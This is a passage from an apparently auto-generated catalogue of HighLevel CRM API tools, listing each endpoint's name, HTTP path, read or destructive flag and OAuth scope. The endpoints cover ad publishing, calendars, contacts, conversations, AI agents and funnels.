/api/v1/highlevel/social-media-posting/{locationId}/csv/{id}. Scopes: none. highlevel_delete_social_media_posting_by_locationid_posts_by_id (write, destructive) — Delete Post (DELETE /social-media-posting/{locationId}/posts/{id}) DELETE /api/v1/highlevel/social-media-posting/{locationId}/posts/{id}. Scopes: none. highlevel_delete_store_shipping_carrier_by_shippingcarrierid (write, destructive) — Delete shipping carrier: Delete specific shipping carrier with Id :shippingCarrierId (DELETE /store/shipping-carrier/{shippingCarrierId}) DELETE /api/v1/highlevel/store/shipping-carrier/{shippingCarrierId}. Scopes: none. highlevel_delete_store_shipping_zone_by_shippingzoneid (write, destructive) — Delete shipping zone: Delete specific shipping zone with Id :shippingZoneId (DELETE /store/shipping-zone/{shippingZoneId}) DELETE /api/v1/highlevel/store/shipping-zone/{shippingZoneId}. Scopes: none. highlevel_delete_store_shipping_zone_by_shippingzoneid_shipping_rate_by_shippingrateid (write, destructive) — Delete shipping rate: Delete specific shipping rate with Id :shippingRateId (DELETE /store/shipping-zone/{shippingZoneId}/shipping-rate/{shippingRateId}) DELETE /api/v1/highlevel/store/shipping-zone/{shippingZoneId}/shipping-rate/{shippingRateId}. Scopes: none. highlevel_delete_users_by_userid (write, destructive) — Delete User (DELETE /users/{userId}) DELETE /api/v1/highlevel/users/{userId}. Scopes: users.write. highlevel_delete_voice_ai_actions_by_actionid (write, destructive) — Delete Agent Action: Delete an existing action from a voice AI agent. This permanently removes the action and its configuration. (DELETE /voice-ai/actions/{actionId}) DELETE /api/v1/highlevel/voice-ai/actions/{actionId}. Scopes: voice-ai-agent-goals.write. highlevel_delete_voice_ai_agents_by_agentid (write, destructive) — Delete Agent: Delete a voice AI agent and all its configurations (DELETE /voice-ai/agents/{agentId}) DELETE /api/v1/highlevel/voice-ai/agents/{agentId}. Scopes: voice-ai-agents.write. highlevel_get_ad_publishing_facebook_ad_accounts (read) — Get ad accounts: Retrieve Facebook ad accounts available for the connected user (GET /ad-publishing/facebook/ad-accounts) GET /api/v1/highlevel/ad-publishing/facebook/ad-accounts. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_ad_accounts_by_adaccountid (read) — Get ad account details: Retrieve details of a specific Facebook ad account (GET /ad-publishing/facebook/ad-accounts/{adAccountId}) GET /api/v1/highlevel/ad-publishing/facebook/ad-accounts/{adAccountId}. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_campaign_by_campaignid (read) — Get campaign with linked entities: Retrieve a Facebook campaign with its linked adsets and ads (GET /ad-publishing/facebook/campaign/{campaignId}) GET /api/v1/highlevel/ad-publishing/facebook/campaign/{campaignId}. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_conversation_forms (read) — Get conversation forms: Retrieve Facebook conversation lead forms for a location (GET /ad-publishing/facebook/conversation-forms) GET /api/v1/highlevel/ad-publishing/facebook/conversation-forms. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_custom_audience (read) — Get custom audiences: Retrieve Facebook custom audiences for a location (GET /ad-publishing/facebook/custom-audience) GET /api/v1/highlevel/ad-publishing/facebook/custom-audience. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_custom_audience_by_audienceid (read) — Get custom audience by ID: Retrieve a specific Facebook custom audience by its ID (GET /ad-publishing/facebook/custom-audience/{audienceId}) GET /api/v1/highlevel/ad-publishing/facebook/custom-audience/{audienceId}. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_entity (read) — Get entities: Retrieve Facebook campaigns, adsets, or ads based on entity type (GET /ad-publishing/facebook/entity) GET /api/v1/highlevel/ad-publishing/facebook/entity. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_integration (read) — Get Facebook integration: Retrieve the Facebook ad integration details for a location (GET /ad-publishing/facebook/integration) GET /api/v1/highlevel/ad-publishing/facebook/integration. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_lead_form_by_leadformid (read) — Get lead form by ID: Retrieve a specific Facebook lead form by its ID (GET /ad-publishing/facebook/lead-form/{leadFormId}) GET /api/v1/highlevel/ad-publishing/facebook/lead-form/{leadFormId}. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_me (read) — Get current Facebook user: Retrieve the authenticated Facebook user profile for a location (GET /ad-publishing/facebook/me) GET /api/v1/highlevel/ad-publishing/facebook/me. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_page_by_pageid_forms (read) — Get page lead forms: Retrieve lead gen forms for a specific Facebook page (GET /ad-publishing/facebook/page/{pageId}/forms) GET /api/v1/highlevel/ad-publishing/facebook/page/{pageId}/forms. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_page_by_pageid_instagram (read) — Get Instagram accounts for page: Retrieve Instagram accounts linked to a specific Facebook page (GET /ad-publishing/facebook/page/{pageId}/instagram) GET /api/v1/highlevel/ad-publishing/facebook/page/{pageId}/instagram. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_pages (read) — Get Facebook pages: Retrieve Facebook pages associated with the connected account (GET /ad-publishing/facebook/pages) GET /api/v1/highlevel/ad-publishing/facebook/pages. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_pixels (read) — Get conversion pixels: Retrieve Facebook conversion pixels for a location (GET /ad-publishing/facebook/pixels) GET /api/v1/highlevel/ad-publishing/facebook/pixels. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_reporting (read) — Get reporting data: Retrieve aggregated Facebook ad reporting metrics for a location (GET /ad-publishing/facebook/reporting) GET /api/v1/highlevel/ad-publishing/facebook/reporting. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_reporting_campaign_by_campaignid (read) — Get campaign reporting: Retrieve reporting metrics for a specific Facebook campaign (GET /ad-publishing/facebook/reporting/campaign/{campaignId}) GET /api/v1/highlevel/ad-publishing/facebook/reporting/campaign/{campaignId}. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_reporting_list (read) — Get reporting list: Retrieve a list of Facebook campaigns, adsets, or ads with reporting data (GET /ad-publishing/facebook/reporting/list) GET /api/v1/highlevel/ad-publishing/facebook/reporting/list. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_facebook_targeting_search (read) — Search targeting options: Search Facebook geo-locations and interests for ad targeting (GET /ad-publishing/facebook/targeting/search) GET /api/v1/highlevel/ad-publishing/facebook/targeting/search. Scopes: none. highlevel_get_ad_publishing_google_ad_accounts (read) — Get Google ad accounts: Retrieve Google Ads accounts available for the connected user (GET /ad-publishing/google/ad-accounts) GET /api/v1/highlevel/ad-publishing/google/ad-accounts. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_ad_accounts_by_adaccountid (read) — Get ad account details: Retrieve details of a specific Google Ads account (GET /ad-publishing/google/ad-accounts/{adAccountId}) GET /api/v1/highlevel/ad-publishing/google/ad-accounts/{adAccountId}. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_ads_by_adid (read) — Get Google campaign by ID: Retrieve a specific Google Ads campaign by ID (GET /ad-publishing/google/ads/{adId}) GET /api/v1/highlevel/ad-publishing/google/ads/{adId}. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_assets (read) — Get assets: Retrieve Google Ads creative assets for a location (GET /ad-publishing/google/assets) GET /api/v1/highlevel/ad-publishing/google/assets. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_audiences (read) — Get audiences: Retrieve Google Ads combined audiences for a location (GET /ad-publishing/google/audiences) GET /api/v1/highlevel/ad-publishing/google/audiences. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_audiences_by_audienceid (read) — Get audience by ID: Retrieve a specific Google Ads combined audience by ID (GET /ad-publishing/google/audiences/{audienceId}) GET /api/v1/highlevel/ad-publishing/google/audiences/{audienceId}. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_conversion_goals (read) — Get conversion goals: Retrieve Google Ads conversion goals for a location (GET /ad-publishing/google/conversion-goals) GET /api/v1/highlevel/ad-publishing/google/conversion-goals. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_conversions (read) — Get conversions: Retrieve Google Ads conversion actions for a location (GET /ad-publishing/google/conversions) GET /api/v1/highlevel/ad-publishing/google/conversions. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_conversions_by_conversionid (read) — Get conversion by ID: Retrieve a specific Google Ads conversion action by ID (GET /ad-publishing/google/conversions/{conversionId}) GET /api/v1/highlevel/ad-publishing/google/conversions/{conversionId}. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_entity (read) — Get entities: Retrieve Google campaigns, ad groups, or ads based on entity type (GET /ad-publishing/google/entity) GET /api/v1/highlevel/ad-publishing/google/entity. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_integration (read) — Get Google integration: Retrieve the Google Ads integration details for a location (GET /ad-publishing/google/integration) GET /api/v1/highlevel/ad-publishing/google/integration. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_me (read) — Get current Google user: Retrieve the authenticated Google user info for a location (GET /ad-publishing/google/me) GET /api/v1/highlevel/ad-publishing/google/me. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_reporting (read) — Get reporting data: Retrieve aggregated Google Ads reporting metrics for a location (GET /ad-publishing/google/reporting) GET /api/v1/highlevel/ad-publishing/google/reporting. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_reporting_campaign_by_campaignid (read) — Get campaign reporting: Retrieve reporting metrics for a specific Google campaign (GET /ad-publishing/google/reporting/campaign/{campaignId}) GET /api/v1/highlevel/ad-publishing/google/reporting/campaign/{campaignId}. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_reporting_list (read) — Get reporting list: Retrieve a list of Google campaigns or ad groups with reporting data (GET /ad-publishing/google/reporting/list) GET /api/v1/highlevel/ad-publishing/google/reporting/list. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_segments (read) — Get segments: Retrieve Google Ads audience segments for a location (GET /ad-publishing/google/segments) GET /api/v1/highlevel/ad-publishing/google/segments. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_segments_by_segmentid (read) — Get segment by ID: Retrieve a specific Google Ads audience segment by ID (GET /ad-publishing/google/segments/{segmentId}) GET /api/v1/highlevel/ad-publishing/google/segments/{segmentId}. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_target_interests (read) — Get target interests: Retrieve affinity and in-market audience options for Google Ads targeting (GET /ad-publishing/google/target-interests) GET /api/v1/highlevel/ad-publishing/google/target-interests. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_google_targeting_search (read) — Search targeting options: Search Google geo-locations for ad targeting (GET /ad-publishing/google/targeting/search) GET /api/v1/highlevel/ad-publishing/google/targeting/search. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_linkedin_ad_account (read) — Get ad account details: Retrieve details of a specific LinkedIn ad account (GET /ad-publishing/linkedin/ad-account) GET /api/v1/highlevel/ad-publishing/linkedin/ad-account. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_linkedin_ad_accounts (read) — Get LinkedIn ad accounts: Retrieve LinkedIn Ads accounts available for the connected user (GET /ad-publishing/linkedin/ad-accounts) GET /api/v1/highlevel/ad-publishing/linkedin/ad-accounts. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_linkedin_ads_by_adid (read) — Get ad campaign group: Retrieve a LinkedIn ad campaign group by ID (GET /ad-publishing/linkedin/ads/{adId}) GET /api/v1/highlevel/ad-publishing/linkedin/ads/{adId}. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_linkedin_by_accountid_forms (read) — Get lead forms: Retrieve LinkedIn lead gen forms for an ad account (GET /ad-publishing/linkedin/{accountId}/forms) GET /api/v1/highlevel/ad-publishing/linkedin/{accountId}/forms. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_linkedin_integration (read) — Get LinkedIn integration: Retrieve the LinkedIn Ads integration details for a location (GET /ad-publishing/linkedin/integration) GET /api/v1/highlevel/ad-publishing/linkedin/integration. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_linkedin_me (read) — Get current LinkedIn user: Retrieve the authenticated LinkedIn user info for a location (GET /ad-publishing/linkedin/me) GET /api/v1/highlevel/ad-publishing/linkedin/me. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_linkedin_reporting (read) — Get ad analytics: Retrieve LinkedIn Ads analytics data with configurable pivot and time grouping (GET /ad-publishing/linkedin/reporting) GET /api/v1/highlevel/ad-publishing/linkedin/reporting. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_linkedin_reporting_campaign_group_by_campaigngroupid (read) — Get campaign group reporting: Retrieve reporting metrics for a specific LinkedIn campaign group (GET /ad-publishing/linkedin/reporting/campaign-group/{campaignGroupId}) GET /api/v1/highlevel/ad-publishing/linkedin/reporting/campaign-group/{campaignGroupId}. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_linkedin_reporting_list (read) — Get reporting list: Retrieve a list of LinkedIn campaigns or campaign groups with reporting data (GET /ad-publishing/linkedin/reporting/list) GET /api/v1/highlevel/ad-publishing/linkedin/reporting/list. Scopes: adPublishing.readonly. highlevel_get_ad_publishing_linkedin_targeting_search (read) — Search targeting options: Search LinkedIn targeting facets such as locations, industries, and job titles (GET /ad-publishing/linkedin/targeting/search) GET /api/v1/highlevel/ad-publishing/linkedin/targeting/search. Scopes: adPublishing.readonly. highlevel_get_affiliate_manager_by_locationid_affiliates (read) — List Affiliates: Retrieve the list of affiliates for a location. (GET /affiliate-manager/{locationId}/affiliates) GET /api/v1/highlevel/affiliate-manager/{locationId}/affiliates. Scopes: affiliate-manager.readonly. highlevel_get_affiliate_manager_by_locationid_affiliates_by_affiliateid (read) — Get Affiliate: Retrieve a single affiliate by id for a location. (GET /affiliate-manager/{locationId}/affiliates/{affiliateId}) GET /api/v1/highlevel/affiliate-manager/{locationId}/affiliates/{affiliateId}. Scopes: affiliate-manager.readonly. highlevel_get_affiliate_manager_by_locationid_commissions (read) — List Commissions: Retrieve the list of commissions for a location. (GET /affiliate-manager/{locationId}/commissions) GET /api/v1/highlevel/affiliate-manager/{locationId}/commissions. Scopes: affiliate-manager.readonly. highlevel_get_affiliate_manager_by_locationid_payouts (read) — List Payouts: Retrieve the list of payouts for a location. (GET /affiliate-manager/{locationId}/payouts) GET /api/v1/highlevel/affiliate-manager/{locationId}/payouts. Scopes: affiliate-manager.readonly. highlevel_get_agent_studio_agent (read) — List Agents: Lists all active agents for the specified location. locationId is required parameter to ensure optimal performance. Supports pagination using limit and offset. Optionally filter by isPublished=true to return only agents with a published... (GET /agent-studio/agent) GET /api/v1/highlevel/agent-studio/agent. Scopes: agent-studio.readonly. highlevel_get_agent_studio_agent_by_agentid (read) — Get Agent: Gets a specific agent by its ID for the specified location with all its versions. Returns complete agent metadata and all non-deleted versions (draft, staging, production). locationId is required parameter. The agent must have active... (GET /agent-studio/agent/{agentId}) GET /api/v1/highlevel/agent-studio/agent/{agentId}. Scopes: agent-studio.readonly. highlevel_get_agent_studio_public_api_agents (read) — List Agents (Deprecated): **Deprecated endpoint - use GET /agent instead.** Lists all active agents that have a published production version for the specified location. locationId is required parameter. Supports pagination using limit and offset. (GET /agent-studio/public-api/agents) GET /api/v1/highlevel/agent-studio/public-api/agents. Scopes: agent-studio.readonly. highlevel_get_agent_studio_public_api_agents_by_agentid (read) — Get Agent (Deprecated): **Deprecated endpoint - use GET /agent/:agentId instead.** Gets a specific agent by its ID for the specified location with all its versions. locationId is required parameter. The agent must have active status. (GET /agent-studio/public-api/agents/{agentId}) GET /api/v1/highlevel/agent-studio/public-api/agents/{agentId}. Scopes: agent-studio.readonly. highlevel_get_associations (read) — Get all associations for a sub-account / location: Get all Associations (GET /associations) GET /api/v1/highlevel/associations. Scopes: associations.readonly. highlevel_get_associations_by_associationid (read) — Get association by ID: Using this api you can get SYSTEM_DEFINED / USER_DEFINED association by id (GET /associations/{associationId}) GET /api/v1/highlevel/associations/{associationId}. Scopes: associations.readonly. highlevel_get_associations_key_by_key_name (read) — Get association key by key name: Using this api you can get standard / user defined association by key (GET /associations/key/{key_name}) GET /api/v1/highlevel/associations/key/{key_name}. Scopes: associations.readonly. highlevel_get_associations_objectkey_by_objectkey (read) — Get association by object keys: Get association by object keys like contacts, custom objects and opportunities. (GET /associations/objectKey/{objectKey}) GET /api/v1/highlevel/associations/objectKey/{objectKey}. Scopes: associations.readonly. highlevel_get_associations_relations_by_recordid (read) — Get all relations By record Id: Get all relations by record Id (GET /associations/relations/{recordId}) GET /api/v1/highlevel/associations/relations/{recordId}. Scopes: associations/relation.readonly. highlevel_get_blogs_authors (read) — Get all authors: The "Get all authors" Api return the blog authors for a given location ID. Please use "blogs/author.readonly" (GET /blogs/authors) GET /api/v1/highlevel/blogs/authors. Scopes: blogs/author.readonly. highlevel_get_blogs_categories (read) — Get all categories: The "Get all categories" Api return the blog categoies for a given location ID. Please use "blogs/category.readonly" (GET /blogs/categories) GET /api/v1/highlevel/blogs/categories. Scopes: blogs/category.readonly. highlevel_get_blogs_posts_all (read) — Get Blog posts by Blog ID: The "Get Blog posts by Blog ID" API allows you get blog posts for any given blog site using blog ID.Please use blogs/posts.readonly (GET /blogs/posts/all) GET /api/v1/highlevel/blogs/posts/all. Scopes: blogs/posts.readonly. highlevel_get_blogs_posts_url_slug_exists (read) — Check url slug: The "Check url slug" API allows check the blog slug validation which is needed before publishing any blog post. Please use blogs/check-slug.readonly. you can find the POST ID from the post edit url. (GET /blogs/posts/url-slug-exists) GET /api/v1/highlevel/blogs/posts/url-slug-exists. Scopes: blogs/check-slug.readonly. highlevel_get_blogs_site_all (read) — Get Blogs by Location ID: The "Get Blogs by Location ID" API allows you get blogs using Location ID.Please use blogs/list.readonly (GET /blogs/site/all) GET /api/v1/highlevel/blogs/site/all. Scopes: blogs/list.readonly. highlevel_get_brand_boards_by_locationid (read) — Get Brand Boards: Retrieves all Brand Boards for a specific location (GET /brand-boards/{locationId}) GET /api/v1/highlevel/brand-boards/{locationId}. Scopes: brand-boards/design-kit.readonly. highlevel_get_brand_boards_by_locationid_by_id (read) — Get Brand Board: Retrieves a specific Brand Board by its ID (GET /brand-boards/{locationId}/{id}) GET /api/v1/highlevel/brand-boards/{locationId}/{id}. Scopes: brand-boards/design-kit.readonly. highlevel_get_businesses (read) — Get Businesses by Location (GET /businesses) GET /api/v1/highlevel/businesses. Scopes: businesses.readonly. highlevel_get_businesses_by_businessid (read) — Get Business (GET /businesses/{businessId}) GET /api/v1/highlevel/businesses/{businessId}. Scopes: businesses.readonly. highlevel_get_calendars (read) — Get Calendars: Get all calendars in a location. (GET /calendars) GET /api/v1/highlevel/calendars. Scopes: calendars.readonly. highlevel_get_calendars_appointments_by_appointmentid_notes (read) — Get Notes: Get Appointment Notes (GET /calendars/appointments/{appointmentId}/notes) GET /api/v1/highlevel/calendars/appointments/{appointmentId}/notes. Scopes: calendars/events.readonly. highlevel_get_calendars_blocked_slots (read) — Get Blocked Slots (GET /calendars/blocked-slots) GET /api/v1/highlevel/calendars/blocked-slots. Scopes: calendars/events.readonly. highlevel_get_calendars_by_calendarid (read) — Get Calendar: Get calendar by ID (GET /calendars/{calendarId}) GET /api/v1/highlevel/calendars/{calendarId}. Scopes: calendars.readonly. highlevel_get_calendars_by_calendarid_free_slots (read) — Get Free Slots: Get free slots for a calendar between a date range. Optionally a consumer can also request free slots in a particular timezone and also for a particular user. (GET /calendars/{calendarId}/free-slots) GET /api/v1/highlevel/calendars/{calendarId}/free-slots. Scopes: calendars.readonly. highlevel_get_calendars_by_calendarid_notifications (read) — Get notifications: Get calendar notifications based on query (GET /calendars/{calendarId}/notifications) GET /api/v1/highlevel/calendars/{calendarId}/notifications. Scopes: calendars/events.readonly. highlevel_get_calendars_by_calendarid_notifications_by_notificationid (read) — Get notification: Find Event notification by notificationId (GET /calendars/{calendarId}/notifications/{notificationId}) GET /api/v1/highlevel/calendars/{calendarId}/notifications/{notificationId}. Scopes: calendars/events.readonly. highlevel_get_calendars_events (read) — Get Calendar Events (GET /calendars/events) GET /api/v1/highlevel/calendars/events. Scopes: calendars/events.readonly. highlevel_get_calendars_events_appointments_by_eventid (read) — Get Appointment: Get appointment by ID (GET /calendars/events/appointments/{eventId}) GET /api/v1/highlevel/calendars/events/appointments/{eventId}. Scopes: calendars/events.readonly. highlevel_get_calendars_groups (read) — Get Groups: Get all calendar groups in a location. (GET /calendars/groups) GET /api/v1/highlevel/calendars/groups. Scopes: calendars/groups.readonly. highlevel_get_calendars_resources_by_resourcetype (read) — List Calendar Resources: List calendar resources by resource type and location ID (GET /calendars/resources/{resourceType}) GET /api/v1/highlevel/calendars/resources/{resourceType}. Scopes: calendars/resources.readonly. highlevel_get_calendars_resources_by_resourcetype_by_id (read) — Get Calendar Resource: Get calendar resource by ID (GET /calendars/resources/{resourceType}/{id}) GET /api/v1/highlevel/calendars/resources/{resourceType}/{id}. Scopes: calendars/resources.readonly. highlevel_get_calendars_schedules_by_id (read) — Get user availability schedule: Retrieve a specific schedule by its unique identifier. Returns detailed information including rules, timezone, and associated calendars/users. (GET /calendars/schedules/{id}) GET /api/v1/highlevel/calendars/schedules/{id}. Scopes: calendars.readonly. highlevel_get_calendars_schedules_search (read) — List user availability schedule: Retrieve user availability schedules based on various filters including location, calendar, and user. Supports pagination. (GET /calendars/schedules/search) GET /api/v1/highlevel/calendars/schedules/search. Scopes: calendars.readonly. highlevel_get_campaigns (read) — Get Campaigns (GET /campaigns) GET /api/v1/highlevel/campaigns. Scopes: campaigns.readonly. highlevel_get_companies_by_companyid (read) — Get Company: Get Comapny (GET /companies/{companyId}) GET /api/v1/highlevel/companies/{companyId}. Scopes: companies.readonly. highlevel_get_contacts (read) — Get Contacts: Get Contacts **Note:** This API endpoint is deprecated. Please use the Search Contacts endpoint instead. (GET /contacts) GET /api/v1/highlevel/contacts. Scopes: contacts.readonly. highlevel_get_contacts_business_by_businessid (read) — Get Contacts By BusinessId (GET /contacts/business/{businessId}) GET /api/v1/highlevel/contacts/business/{businessId}. Scopes: contacts.readonly. highlevel_get_contacts_by_contactid (read) — Get Contact (GET /contacts/{contactId}) GET /api/v1/highlevel/contacts/{contactId}. Scopes: contacts.readonly. highlevel_get_contacts_by_contactid_appointments (read) — Get Appointments for Contact (GET /contacts/{contactId}/appointments) GET /api/v1/highlevel/contacts/{contactId}/appointments. Scopes: contacts.readonly. highlevel_get_contacts_by_contactid_notes (read) — Get All Notes (GET /contacts/{contactId}/notes) GET /api/v1/highlevel/contacts/{contactId}/notes. Scopes: contacts.readonly. highlevel_get_contacts_by_contactid_notes_by_id (read) — Get Note (GET /contacts/{contactId}/notes/{id}) GET /api/v1/highlevel/contacts/{contactId}/notes/{id}. Scopes: contacts.readonly. highlevel_get_contacts_by_contactid_tasks (read) — Get all Tasks (GET /contacts/{contactId}/tasks) GET /api/v1/highlevel/contacts/{contactId}/tasks. Scopes: contacts.readonly. highlevel_get_contacts_by_contactid_tasks_by_taskid (read) — Get Task (GET /contacts/{contactId}/tasks/{taskId}) GET /api/v1/highlevel/contacts/{contactId}/tasks/{taskId}. Scopes: contacts.readonly. highlevel_get_contacts_search_duplicate (read) — Get Duplicate Contact: Get Duplicate Contact. If Allow Duplicate Contact is disabled under Settings, the global unique identifier will be used for searching the contact. If the setting is enabled, first priority for search is email and the second priority will... (GET /contacts/search/duplicate) GET /api/v1/highlevel/contacts/search/duplicate. Scopes: contacts.readonly. highlevel_get_conversation_ai_agents_by_agentid (read) — Get Agent: Retrieves a specific AI agent by its ID. Returns the complete agent configuration including name, status, actions, and settings. (GET /conversation-ai/agents/{agentId}) GET /api/v1/highlevel/conversation-ai/agents/{agentId}. Scopes: conversation-ai.readonly. highlevel_get_conversation_ai_agents_by_agentid_actions_by_actionid (read) — Get Action by ID: Retrieves detailed information about a specific action using its unique identifier. Returns the action configuration, associated agents, and performance metrics. (GET /conversation-ai/agents/{agentId}/actions/{actionId}) GET /api/v1/highlevel/conversation-ai/agents/{agentId}/actions/{actionId}. Scopes: conversation-ai.readonly. highlevel_get_conversation_ai_agents_by_agentid_actions_list (read) — List Actions for an Agent: List for actions for an agent (GET /conversation-ai/agents/{agentId}/actions/list) GET /api/v1/highlevel/conversation-ai/agents/{agentId}/actions/list. Scopes: conversation-ai.readonly. highlevel_get_conversation_ai_agents_search (read) — Search Agents: Searches for AI agents based on various criteria including name, status, and configuration. Supports advanced filtering and full-text search capabilities. (GET /conversation-ai/agents/search) GET /api/v1/highlevel/conversation-ai/agents/search. Scopes: conversation-ai.readonly. highlevel_get_conversation_ai_generations (read) — Get the generation details: Retrieves detailed information about AI responses including the System Prompt, Conversation history, Knowledge base, website, FAQ chunks, and Rich Text chunks. (GET /conversation-ai/generations) GET /api/v1/highlevel/conversation-ai/generations. Scopes: conversation-ai.readonly. highlevel_get_conversations_by_conversationid (read) — Get Conversation: Get the conversation details based on the conversation ID (GET /conversations/{conversationId}) GET /api/v1/highlevel/conversations/{conversationId}. Scopes: conversations.readonly. highlevel_get_conversations_by_conversationid_messages (read) — Get messages by conversation id: Get messages by conversation id. (GET /conversations/{conversationId}/messages) GET /api/v1/highlevel/conversations/{conversationId}/messages. Scopes: conversations/message.readonly. highlevel_get_conversations_locations_by_locationid_messages_by_messageid_transcription (read) — Get transcription by Message ID: Get the recording transcription for a message by passing the message id (GET /conversations/locations/{locationId}/messages/{messageId}/transcription) GET /api/v1/highlevel/conversations/locations/{locationId}/messages/{messageId}/transcription. Scopes: conversations/message.readonly. highlevel_get_conversations_locations_by_locationid_messages_by_messageid_transcription_download (read) — Download transcription by Message ID: Download the recording transcription for a message by passing the message id (GET /conversations/locations/{locationId}/messages/{messageId}/transcription/download) GET /api/v1/highlevel/conversations/locations/{locationId}/messages/{messageId}/transcription/download. Scopes: conversations/message.readonly. highlevel_get_conversations_messages_by_id (read) — Get message by message id: Get message by message id. (GET /conversations/messages/{id}) GET /api/v1/highlevel/conversations/messages/{id}. Scopes: conversations/message.readonly. highlevel_get_conversations_messages_by_messageid_locations_by_locationid_recording (read) — Get Recording by Message ID: Get the recording for a message by passing the message id (GET /conversations/messages/{messageId}/locations/{locationId}/recording) GET /api/v1/highlevel/conversations/messages/{messageId}/locations/{locationId}/recording. Scopes: conversations/message.readonly. highlevel_get_conversations_messages_email_by_id (read) — Get email by Id (GET /conversations/messages/email/{id}) GET /api/v1/highlevel/conversations/messages/email/{id}. Scopes: none. highlevel_get_conversations_messages_export (read) — Export messages by location ID: Export messages for a specific location with cursor-based pagination support. Response includes messageType (string), source, and subType fields. The channel parameter is optional - if not provided, all non-email message types will be... (GET /conversations/messages/export) GET /api/v1/highlevel/conversations/messages/export. Scopes: conversations/message.readonly. highlevel_get_conversations_preferences_custom_subtypes (read) — Get All Custom Subtypes: Get all custom subtypes for a location (GET /conversations/preferences/custom-subtypes) GET /api/v1/highlevel/conversations/preferences/custom-subtypes. Scopes: none. highlevel_get_conversations_preferences_unsubscriptions_status (read) — Get Contact Unsubscription Status: Get all subscription statuses for a contact (all emails or specific email) (GET /conversations/preferences/unsubscriptions/status) GET /api/v1/highlevel/conversations/preferences/unsubscriptions/status. Scopes: none. highlevel_get_conversations_search (read) — Search Conversations: Returns a list of all conversations matching the search criteria along with the sort and filter options selected. (GET /conversations/search) GET /api/v1/highlevel/conversations/search. Scopes: conversations.readonly. highlevel_get_custom_fields_by_id (read) — Get Custom Field / Folder By Id: Get Custom Field / Folder By Id. ! Only supports Custom Objects and Company (Business) today. Will be extended to other Standard Objects in the future. (GET /custom-fields/{id}) GET /api/v1/highlevel/custom-fields/{id}. Scopes: locations/customFields.readonly. highlevel_get_custom_fields_object_key_by_objectkey (read) — Get Custom Fields By Object Key: Get Custom Fields By Object Key ! Only supports Custom Objects and Company (Business) today. Will be extended to other Standard Objects in the future. (GET /custom-fields/object-key/{objectKey}) GET /api/v1/highlevel/custom-fields/object-key/{objectKey}. Scopes: locations/customFields.readonly. highlevel_get_custom_menus (read) — Get Custom Menu Links: Fetches a collection of custom menus based on specified criteria. This endpoint allows clients to retrieve custom menu configurations, which may include menu items, categories, and associated metadata. The response can be tailored using... (GET /custom-menus) GET /api/v1/highlevel/custom-menus. Scopes: custom-menu-link.readonly. highlevel_get_custom_menus_by_custommenuid (read) — Get Custom Menu Link: Fetches a single custom menus based on id. This endpoint allows clients to retrieve custom menu configurations, which may include menu items, categories, and associated metadata (GET /custom-menus/{customMenuId}) GET /api/v1/highlevel/custom-menus/{customMenuId}. Scopes: custom-menu-link.readonly. highlevel_get_emails_builder (read) — Fetch email templates: Fetch email templates by location id (GET /emails/builder) GET /api/v1/highlevel/emails/builder. Scopes: emails/builder.readonly. highlevel_get_emails_schedule (read) — Get Campaigns (GET /emails/schedule) GET /api/v1/highlevel/emails/schedule. Scopes: emails/schedule.readonly. highlevel_get_forms (read) — Get Forms (GET /forms) GET /api/v1/highlevel/forms. Scopes: forms.readonly. highlevel_get_forms_submissions (read) — Get Forms Submissions (GET /forms/submissions) GET /api/v1/highlevel/forms/submissions. Scopes: forms.readonly. highlevel_get_funnels_funnel_list (read) — Fetch List of Funnels: Retrieves a list of all funnels based on the given query parameters. (GET /funnels/funnel/list) GET /api/v1/highlevel/funnels/funnel/list. Scopes: none. highlevel_get_funnels_lookup_redirect_list (read) — Fetch List of Redirects: Retrieves a list of all URL redirects based on the given query parameters. (GET /funnels/lookup/redirect/list) GET /api/v1/highlevel/funnels/lookup/redirect/list. Scopes: funnels/redirect.readonly. highlevel_get_funnels_page (read) — Fetch list of funnel pages: Retrieves a list of all funnel pages based on the given query parameters. (GET /funnels/page) GET /api/v1/highlevel/funnels/page. Scopes: none. highlevel_get_funnels_page_count (read) — Fetch count of funnel pages: Retrieves count of all funnel pages based on the given query parameters. (GET /funnels/page/count) GET 